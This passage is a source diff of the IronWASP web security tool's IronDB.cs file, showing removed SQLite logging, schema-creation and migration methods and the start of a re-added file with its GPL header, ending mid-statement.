GetScanQueueRecords(int StartID) - { - List ScanQueueRecords = new List(); - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT ScanID, Status, Method, URL FROM ScanQueue WHERE ScanID > @StartID LIMIT 1000"; - cmd.Parameters.AddWithValue("@StartID", StartID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - string[] Fields = new string[4]; - Fields[0] = result["ScanID"].ToString(); - Fields[1] = result["Status"].ToString(); - Fields[2] = result["Method"].ToString(); - Fields[3] = result["URL"].ToString(); - ScanQueueRecords.Add(Fields); - } - } - } - } - return ScanQueueRecords; - } - - internal static List GetPluginResultsLogRecords(int StartID) - { - List PluginResultsLogRecords = new List(); - using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT ID, HostName, Title, FinderName, FinderType, Meta, UniquenessString, Severity, Confidence, Type FROM Findings WHERE ID > @StartID LIMIT 1000"; - cmd.Parameters.AddWithValue("@StartID", StartID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - Finding PR = new Finding(result["HostName"].ToString()); - PR.Id = Int32.Parse(result["ID"].ToString()); - PR.Title = result["Title"].ToString(); - PR.FinderName = result["FinderName"].ToString(); - PR.FinderType = result["FinderType"].ToString(); - try - { - PR.XmlMeta = result["Meta"].ToString(); - } - catch { } - PR.AffectedHost = result["HostName"].ToString(); - PR.Severity = GetSeverity(Int32.Parse(result["Severity"].ToString())); - PR.Confidence = GetConfidence(Int32.Parse(result["Confidence"].ToString())); - PR.Type = GetResultType(Int32.Parse(result["Type"].ToString())); - PR.Signature = result["UniquenessString"].ToString(); - PluginResultsLogRecords.Add(PR); - } - } - } - } - return PluginResultsLogRecords; - } - - internal static List GetExceptionLogRecords(int StartID) - { - List ExceptionLogRecords = new List(); - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ExceptionsLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT ID, Title, Message, StackTrace FROM Exceptions WHERE ID > @StartID LIMIT 1000"; - cmd.Parameters.AddWithValue("@StartID", StartID); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - IronException IrEx = new IronException(); - IrEx.ID = Int32.Parse(result["ID"].ToString()); - IrEx.Title = result["Title"].ToString(); - ExceptionLogRecords.Add(IrEx); - } - } - } - } - return ExceptionLogRecords; - } - - internal static List GetTraceRecords(int StartID, int Count) - { - List TraceRecords = new List(); - using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - using(SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT ID, Time, Date, ThreadID, Source, Message FROM Trace WHERE ID > @StartID LIMIT @LIMIT"; - cmd.Parameters.AddWithValue("@StartID", StartID); - cmd.Parameters.AddWithValue("@LIMIT", Count); - using(SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - IronTrace Trace = new IronTrace(); - try - { Trace.ID = Int32.Parse(result["ID"].ToString()); } - catch { continue; } - try - { Trace.ThreadID = Int32.Parse(result["ThreadID"].ToString()); } - catch { } - Trace.Time = result["Time"].ToString(); - Trace.Date = result["Date"].ToString(); - Trace.Source = result["Source"].ToString(); - Trace.Message = result["Message"].ToString(); - TraceRecords.Add(Trace); - } - } - } - } - return TraceRecords; - } - - internal static IronTrace GetScanTrace(int ID) - { - return GetScanTraces(ID, 1)[0]; - } - - internal static List GetScanTraces(int StartID, int Count) - { - List TraceRecords = new List(); - using(SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT ID, ScanID, PluginName, Section, Parameter, Title, Message, OverviewXml FROM ScanTrace WHERE ID > @StartID ORDER BY ID LIMIT @LIMIT"; - cmd.Parameters.AddWithValue("@StartID", StartID - 1); - cmd.Parameters.AddWithValue("@LIMIT", Count); - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - IronTrace Trace = new IronTrace(); - try - { Trace.ID = Int32.Parse(result["ID"].ToString()); } - catch { continue; } - try - { Trace.ScanID = Int32.Parse(result["ScanID"].ToString()); } - catch { } - Trace.PluginName = result["PluginName"].ToString(); - Trace.Section = result["Section"].ToString(); - Trace.Parameter = result["Parameter"].ToString(); - Trace.Title = result["Title"].ToString(); - try - { - Trace.MessageXml = result["Message"].ToString(); - } - catch - { - Trace.Message = result["Message"].ToString(); - } - Trace.OverviewXml = result["OverviewXml"].ToString(); - TraceRecords.Add(Trace); - } - } - } - } - return TraceRecords; - } - - internal static List GetScanTraces(Finding F) - { - List TraceRecords = new List(); - - using(SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT ID, Message, OverviewXml FROM ScanTrace WHERE ScanID=@ScanID AND PluginName=@PluginName AND Section=@Section AND Parameter=@Parameter ORDER BY ID"; - cmd.Parameters.AddWithValue("@ScanID", F.ScanId); - cmd.Parameters.AddWithValue("@PluginName", F.FinderName); - cmd.Parameters.AddWithValue("@Section", F.AffectedSection); - cmd.Parameters.AddWithValue("@Parameter", F.AffectedParameter); - - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - while (result.Read()) - { - IronTrace Trace = new IronTrace(); - try - { Trace.ID = Int32.Parse(result["ID"].ToString()); } - catch { continue; } - try - { - Trace.MessageXml = result["Message"].ToString(); - } - catch - { - Trace.Message = result["Message"].ToString(); - } - Trace.OverviewXml = result["OverviewXml"].ToString(); - TraceRecords.Add(Trace); - } - } - } - } - return TraceRecords; - } - - internal static void InitialiseLogDB() - { - CreateLogFilesOnStartUp(); - - using (SQLiteConnection log = new SQLiteConnection("data source=" + IronProjectFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS ScanQueue"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScanQueue (ScanID INT PRIMARY KEY, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Status TEXT, Method TEXT, URL TEXT, SessionPlugin TEXT, InjectionPoints TEXT, FormatPlugin TEXT, ScanPlugins TEXT)"; - cmd.ExecuteNonQuery(); - //cmd.CommandText = "CREATE TABLE IF NOT EXISTS TestGroups (Red INT, Green INT, Blue INT, Gray INT, Brown INT)"; - //cmd.CommandText = "CREATE TABLE IF NOT EXISTS NamedTestGroups (Name TEXT, ID INT)"; - cmd.CommandText = "CREATE TABLE IF NOT EXISTS TestGroups (Name TEXT, ID INT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + ProxyLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS ProxyLog"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ProxyLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, Edited INT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, OriginalRequestHeaders TEXT, OriginalRequestBody TEXT, BinaryOriginalRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, OriginalResponseHeaders TEXT, OriginalResponseBody TEXT, BinaryOriginalResponse INT, RoundTrip INT, Notes TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + TestLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS MTLog"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS TestLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + ShellLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS ShellLog"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ShellLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + ProbeLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS ProbeLog"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ProbeLog (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + ScanLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS ScanLog"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScanLog (ID INT PRIMARY KEY, ScanID INT, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + PluginResultsLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS Findings"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS Findings (ID INT, HostName TEXT, Title TEXT, FinderName TEXT, FinderType TEXT, ScanID INT, Meta TEXT, Summary TEXT, Severity INT, Confidence INT, Type INT, UniquenessString TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "DROP TABLE IF EXISTS Triggers"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS Triggers (ID INT, TriggersEncoded INT, RequestTriggerDesc TEXT, RequestTrigger TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, ResponseTriggerDesc TEXT, ResponseTrigger TEXT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "DROP TABLE IF EXISTS BaseLine"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS BaseLine (FindingID INT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + ExceptionsLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS Exceptions"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS Exceptions (ID INT PRIMARY KEY, Title TEXT, Message TEXT, StackTrace TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - using (SQLiteConnection log = new SQLiteConnection("data source=" + TraceLogFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "DROP TABLE IF EXISTS Trace"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS Trace (ID INT PRIMARY KEY, Time TEXT, Date TEXT, ThreadID INT, Source TEXT, Message TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "DROP TABLE IF EXISTS ScanTrace"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScanTrace (ID INT PRIMARY KEY, ScanID INT, PluginName TEXT, Section TEXT, Parameter TEXT, Title TEXT, Message TEXT, OverviewXml TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "DROP TABLE IF EXISTS SessionPluginTrace"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS SessionPluginTrace (ID INT PRIMARY KEY, LogId INT, LogSource TEXT, PluginName TEXT, Action TEXT, Message TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - - ConfigFile = Config.RootDir + "\\IronConfig.exe"; - using (SQLiteConnection log = new SQLiteConnection("data source=" + ConfigFile)) - { - log.Open(); - using (SQLiteTransaction create = log.BeginTransaction()) - { - using (SQLiteCommand cmd = new SQLiteCommand(log)) - { - cmd.CommandText = "CREATE TABLE IF NOT EXISTS IronProxy (LoopBack INT, SystemProxy INT, Port INT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS UpstreamProxy (Use INT, IP TEXT, Port INT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS PyPath (Path TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS RbPath (Path TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS PyStartCommands (Command TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS RbStartCommands (Command TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS InterceptRules (Get INT, Post INT, OtherMethods INT, Html INT, JS INT, CSS INT, Xml INT, JSON INT, OtherText INT, Img INT, OtherBinary INT, Code200 INT, Code2xx INT, Code301_2 INT, Code3xx INT, Code403 INT, Code4xx INT, Code500 INT, Code5xx INT, FileExt INT, FileExtPlus INT, FileExtMinus INT, PlusFileExts TEXT, MinusFileExts TEXT, Host INT, HostPlus INT, HostMinus INT, PlusHosts TEXT, MinusHosts TEXT, RequestKeyword INT, RequestKeywordPlus INT, RequestKeywordMinus INT, PlusRequestKeyword TEXT, MinusRequestKeyword TEXT, ResponseKeyword INT, ResponseKeywordPlus INT, ResponseKeywordMinus INT, PlusResponseKeyword TEXT, MinusResponseKeyword TEXT, RequestRulesOnResponse INT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS DisplayRules (Get INT, Post INT, OtherMethods INT, Html INT, JS INT, CSS INT, Xml INT, JSON INT, OtherText INT, Img INT, OtherBinary INT, Code200 INT, Code2xx INT, Code301_2 INT, Code3xx INT, Code403 INT, Code4xx INT, Code500 INT, Code5xx INT, FileExt INT, FileExtPlus INT, FileExtMinus INT, PlusFileExts TEXT, MinusFileExts TEXT, Host INT, HostPlus INT, HostMinus INT, PlusHosts TEXT, MinusHosts TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS TextRequestTypes (Type TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS TextResponseTypes (Type TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS JSTaintConfig (SourceObjects TEXT, SinkObjects TEXT, ArgumentAssignedASourceMethods TEXT, ArgumentAssignedToSinkMethods TEXT, SourceReturningMethods TEXT, SinkReturningMethods TEXT, ArgumentReturningMethods TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ScannerSettings (MaxScannerThreads INT, MaxCrawlerThreads INT, UserAgent TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS PassiveAnalysisSettings (Proxy INT, Shell INT, Test INT, Scan INT, Probe INT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS CharacterEscapingRules (RawCharacter TEXT, EncodedCharacter TEXT)"; - cmd.ExecuteNonQuery(); - cmd.CommandText = "CREATE TABLE IF NOT EXISTS ParametersBlackList (ParameterSection TEXT, ParameterName TEXT)"; - cmd.ExecuteNonQuery(); - } - create.Commit(); - } - } - } - - internal static void CreateLogFilesOnStartUp() - { - string Path = DateTime.Now.ToString("yyyy_MMM_d__HH_mm_ss_tt"); - string LogDir = Config.RootDir + "\\log\\"; - while (Directory.Exists(LogDir + Path)) - { - Path = DateTime.Now.ToString("yyyy_MMM_d__HH_mm_ss_tt") + "_ticks_" + DateTime.Now.Ticks.ToString(); - } - Directory.CreateDirectory(LogDir + Path); - UpdateLogFilePaths(LogDir + Path); - } - - internal static void MakeLogFileVersionCompliant() - { - #region Manual Testing Groups - using (SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - DB.Open(); - try - { - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "SELECT Name FROM TestGroups WHERE ID=1"; - using (SQLiteDataReader result = Cmd.ExecuteReader()) - { - bool HasRows = result.HasRows; - } - } - } - catch - { - try - { - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE TestGroups ADD COLUMN Name TEXT"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "ALTER TABLE TestGroups ADD COLUMN ID INT"; - Cmd.ExecuteNonQuery(); - } - } - catch { } - } - } - #endregion - - #region Scan Trace Overview - using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - try - { - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT OverviewXml FROM ScanTrace WHERE ID=1"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - bool HasRows = result.HasRows; - } - } - } - catch - { - try - { - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE ScanTrace ADD COLUMN OverviewXml TEXT"; - Cmd.ExecuteNonQuery(); - } - } - catch { } - } - } - #endregion - - #region SessionPlugin Trace Logging - using (SQLiteConnection DB = new SQLiteConnection("data source=" + TraceLogFile)) - { - DB.Open(); - try - { - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT LogId FROM SessionPluginTrace WHERE ID=1"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - bool HasRows = result.HasRows; - } - } - } - catch - { - try - { - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "CREATE TABLE IF NOT EXISTS SessionPluginTrace (ID INT PRIMARY KEY, LogId INT, LogSource TEXT, PluginName TEXT, Action TEXT, Message TEXT)"; - Cmd.ExecuteNonQuery(); - } - } - catch { } - } - } - #endregion - - #region Finding - using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) - { - DB.Open(); - try - { - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT Meta FROM Findings WHERE ID=1"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - bool HasRows = result.HasRows; - } - } - } - catch - { - using (SQLiteTransaction Alter = DB.BeginTransaction()) - { - try - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN TriggersEncoded INT"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN RequestTriggerDesc TEXT"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN ResponseTriggerDesc TEXT"; - Cmd.ExecuteNonQuery(); - - Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN Meta TEXT"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN ScanID INT"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN FinderName TEXT"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "ALTER TABLE PluginResult ADD COLUMN FinderType TEXT"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "UPDATE PluginResult SET FinderName = Plugin"; - Cmd.ExecuteNonQuery(); - Cmd.CommandText = "ALTER TABLE PluginResult RENAME TO Findings"; - Cmd.ExecuteNonQuery(); - } - Alter.Commit(); - } - catch { } - } - } - } - #endregion - - #region FindingBaseLine - using (SQLiteConnection DB = new SQLiteConnection("data source=" + PluginResultsLogFile)) - { - DB.Open(); - try - { - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT FindingID FROM BaseLine WHERE ID=1"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - bool HasRows = result.HasRows; - } - } - } - catch - { - try - { - using (SQLiteCommand Cmd = new SQLiteCommand(DB)) - { - Cmd.CommandText = "CREATE TABLE IF NOT EXISTS BaseLine (FindingID INT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT)"; - Cmd.ExecuteNonQuery(); - } - } - catch { } - } - } - #endregion - - #region RoundTrip - using (SQLiteConnection DB = new SQLiteConnection("data source=" + ProxyLogFile)) - { - DB.Open(); - try - { - using (SQLiteCommand cmd = DB.CreateCommand()) - { - cmd.CommandText = "SELECT RoundTrip FROM ProxyLog WHERE ID=1"; - using (SQLiteDataReader result = cmd.ExecuteReader()) - { - bool HasRows = result.HasRows; - } - } - } - catch - { - try - { - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE ProxyLog ADD COLUMN RoundTrip INT"; - Cmd.ExecuteNonQuery(); - } - } - catch { } - try - { - using (SQLiteConnection NDB = new SQLiteConnection("data source=" + TestLogFile)) - { - NDB.Open(); - SQLiteCommand Cmd = NDB.CreateCommand(); - Cmd.CommandText = "ALTER TABLE TestLog ADD COLUMN RoundTrip INT"; - Cmd.ExecuteNonQuery(); - } - } - catch { } - try - { - using (SQLiteConnection NDB = new SQLiteConnection("data source=" + ShellLogFile)) - { - NDB.Open(); - using (SQLiteCommand Cmd = NDB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE ShellLog ADD COLUMN RoundTrip INT"; - Cmd.ExecuteNonQuery(); - } - } - } - catch { } - try - { - using (SQLiteConnection NDB = new SQLiteConnection("data source=" + ProbeLogFile)) - { - NDB.Open(); - using (SQLiteCommand Cmd = NDB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE ProbeLog ADD COLUMN RoundTrip INT"; - Cmd.ExecuteNonQuery(); - } - } - } - catch { } - try - { - using (SQLiteConnection NDB = new SQLiteConnection("data source=" + ScanLogFile)) - { - NDB.Open(); - using (SQLiteCommand Cmd = NDB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE ScanLog ADD COLUMN RoundTrip INT"; - Cmd.ExecuteNonQuery(); - } - } - } - catch { } - try - { - using (SQLiteConnection NDB = new SQLiteConnection("data source=" + PluginResultsLogFile)) - { - NDB.Open(); - using (SQLiteCommand Cmd = NDB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE Triggers ADD COLUMN RoundTrip INT"; - Cmd.ExecuteNonQuery(); - } - } - } - catch { } - foreach (string Source in Config.GetOtherSourceList()) - { - try - { - using (SQLiteConnection NDB = new SQLiteConnection("data source=" + GetOtherSourceLogFileName(Source))) - { - NDB.Open(); - using (SQLiteCommand Cmd = NDB.CreateCommand()) - { - Cmd.CommandText = "ALTER TABLE Log ADD COLUMN RoundTrip INT"; - Cmd.ExecuteNonQuery(); - } - } - } - catch { } - } - } - } - - #endregion - - } - - static string GetOtherSourceLogFileName(string Source) - { - string FileName = string.Format("{0}\\LogsFor{1}.ironlog", LogPath, Source); - return FileName; - } - - internal static void ReadOtherSourceLogInformation() - { - string[] Files = Directory.GetFiles(LogPath); - List Sources = new List(); - foreach (string F in Files) - { - string FileName = Path.GetFileName(F); - if (FileName.EndsWith(".ironlog") && FileName.StartsWith("LogsFor")) - { - Sources.Add(FileName.Substring(7, FileName.Length - 15)); - } - } - foreach (string Source in Sources) - { - int LastId = IronDB.GetLastLogRowId(Source); - Config.OtherSourceCounterDict[Source] = LastId; - } - } - - #region Helpers - static int GetConfidence(FindingConfidence Confidence) - { - if (Confidence == FindingConfidence.High) return 9; - if (Confidence == FindingConfidence.Medium) return 6; - if (Confidence == FindingConfidence.Low) return 3; - return 3; - } - static int GetSeverity(FindingSeverity Severity) - { - if (Severity == FindingSeverity.High) return 9; - if (Severity == FindingSeverity.Medium) return 6; - if (Severity == FindingSeverity.Low) return 3; - return 3; - } - static int GetResultType(FindingType ResultType) - { - if (ResultType == FindingType.Vulnerability) return 9; - if (ResultType == FindingType.TestLead) return 6; - if (ResultType == FindingType.Information) return 3; - return 3; - } - static FindingConfidence GetConfidence( int Confidence) - { - if (Confidence == 9) return FindingConfidence.High; - if (Confidence == 6) return FindingConfidence.Medium; - if (Confidence == 3) return FindingConfidence.Low; - return FindingConfidence.Low; - } - static FindingSeverity GetSeverity(int Severity) - { - if (Severity == 9) return FindingSeverity.High; - if (Severity == 6) return FindingSeverity.Medium; - if (Severity == 3) return FindingSeverity.Low; - return FindingSeverity.Low; - } - static FindingType GetResultType(int ResultType) - { - if (ResultType == 9) return FindingType.Vulnerability; - if (ResultType == 6) return FindingType.TestLead; - if (ResultType == 3) return FindingType.Information; - return FindingType.Information; - } - - internal static void UpdateLogFilePaths(string LogPath) - { - IronDB.LogPath = LogPath; - IronProjectFile = LogPath + "\\Project.iron"; - ProxyLogFile = LogPath + "\\Proxy.ironlog"; - TestLogFile = LogPath + "\\Test.ironlog"; - ShellLogFile = LogPath + "\\Shell.ironlog"; - ProbeLogFile = LogPath + "\\Probes.ironlog"; - ScanLogFile = LogPath + "\\Scan.ironlog"; - PluginResultsLogFile = LogPath + "\\Results.ironlog"; - ExceptionsLogFile = LogPath + "\\Exceptions.ironlog"; - TraceLogFile = LogPath + "\\Trace.ironlog"; - if (CommandsLogFile != null) - { - try - { - CommandsLogFile.Close(); - } - catch { } - } - CommandsLogFile = new StreamWriter(LogPath + "\\CommandLog.txt", true); - } - - internal static int AsInt(bool Input) - { - if (Input) - { - return 1; - } - else - { - return 0; - } - } - #endregion - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.Data.SQLite; +using System.Text; +using System.IO; +using System.Threading; +using Newtonsoft.Json; + + +namespace IronWASP +{ + public class IronDB + { + internal static string LogPath = ""; + internal static string IronProjectFile = ""; + internal static string ProxyLogFile = ""; + internal static string TestLogFile = ""; + internal static string ShellLogFile = ""; + internal static string ProbeLogFile = ""; + internal static string ScanLogFile = ""; + internal static string WorkflowLogFile = ""; + internal static string PluginResultsLogFile = ""; + internal static string ExceptionsLogFile = ""; + internal static string TraceLogFile = ""; + internal static string ConfigFile = Config.RootDir + "\\IronConfig.exe"; + + internal static StreamWriter CommandsLogFile; + + + internal static int LogWorkflow(Workflow.Workflow Flow) + { + if (Flow.Id == 0) + { + Flow.SetId(Interlocked.Increment(ref Config.WorkflowCount)); + } + using (SQLiteConnection MT_DB = new SQLiteConnection("data source=" + WorkflowLogFile)) + { + MT_DB.Open(); + using (SQLiteCommand Cmd = MT_DB.CreateCommand()) + { + Cmd.CommandText = "INSERT INTO Workflows (ID, LogIds, LogSource, Name, Type, Source, UserAgent, Info) VALUES (@ID, @LogIds, @LogSource, @Name, @Type, @Source, @UserAgent, 